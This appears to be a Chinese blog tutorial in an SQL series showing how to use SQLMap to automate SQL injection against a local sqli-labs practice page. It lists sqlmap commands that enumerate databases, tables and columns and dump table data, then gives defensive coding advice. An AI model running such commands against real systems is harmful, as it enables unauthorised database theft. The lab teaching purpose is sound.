SQL进阶理论篇(二十一):基于SQLMap的自动化SQL注入

文章目录

简介

从上一小节,可以发现,如果我们编写的代码存在着SQL注入的漏洞,后果还是很可怕的,只需要通过访问information_schema表就可以将数据库的信息全部暴露出来。

接下来我们了解下SQLMap工具,它可以帮我们自动化完成SQL注入的过程。让我们使用SQLmap工具,再重现一下上一节做的人工注入的步骤。

获取当前数据库和用户信息

执行以下命令:

复制代码
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-db --current-user

--current-db表示获取当前数据库名称;

--current-user表示获取当前用户的信息

然后你可以看到SQLmap帮我们获取了相应的结果:

获取MySQL中的所有数据库名称

执行:

复制代码
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 --dbs

这里我们使用--threads来指定SQLmap的最大并发数,通常不要超过10。

于是它帮我们获取了当前MySQL中的8个数据库名称:

查询wucai数据库中的所有数据表

执行:

复制代码
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai --tables

-D表示待查询的数据库的库名;

--tables表示显示出所有数据表名称;

查看heros数据表中的所有字段

执行:

复制代码
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai -T heros --columns

-T表示指定的数据表名称;

--columns表示对所有字段名称进行查询;

查询heros表中的英雄信息

执行:

复制代码
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D wucai -T heros -C id,name,hp_max --dump

-C后面表示需要查询的字段名;

--dump表示展示具体数据。

至此,整个数据库对我们来说,就是不设防的状态了。

总结

总之,代码规范性对web安全来讲,非常重要,尽量不要采用直接拼接的方式进行查询,一定要拼接的话,必须在后端提前做好参数验证(如java的sqlparameter),不能因为在前端验证完参数就认为安全了,前端的验证是很容易被绕过的。

同时,web上线之后,还需要将生产环境中的错误提示信息关闭,坚决不能给不法分子可乘之机,以减少被SQL 注入的风险。

此外,我们也可以采用第三方的工具,比如SQLmap来对web应用进行检测,以增强web安全性。

当然,本节讲的内容都很基础,现在真正的SQL注入攻防,可比本节展示的内容复杂多了。

参考文献

  1. 37丨SQL注入:你的SQL是如何被注入的?
相关推荐
2***s6721 天前
给SQL server数据库表字段添加注释SQL,附修改、删除注释SQL及演示
数据库·sql·oracle
Wpa.wk1 天前
自动化测试环境配置-java+python
java·开发语言·python·测试工具·自动化
AI2中文网1 天前
AppInventor2 使用 SQLite(三)带条件过滤查询表数据
数据库·sql·sqlite·select·app inventor 2·appinventor·tableview
I***26151 天前
智能生成ER图工具。使用 SQL 生成 ER 图:让数据库设计更高效
数据库·sql·oracle
jnrjian1 天前
Oracle hints 空格要求
sql·oracle
m***66731 天前
SQL 实战—递归 SQL:层级结构查询与处理树形数据
java·数据库·sql
A__tao1 天前
gotool.top 的 SQL 转 Markdown
数据库·sql
矶鹬笛手1 天前
(2.1) 信息技术及其发展
sql·计算机网络·c#
0思必得02 天前
[Web自动化] HTTP/HTTPS协议
前端·python·http·自动化·网络基础·web自动化
2301_800256112 天前
第七章 空间存储与索引 知识点梳理3(空间填充曲线)
数据库·笔记·sql·postgresql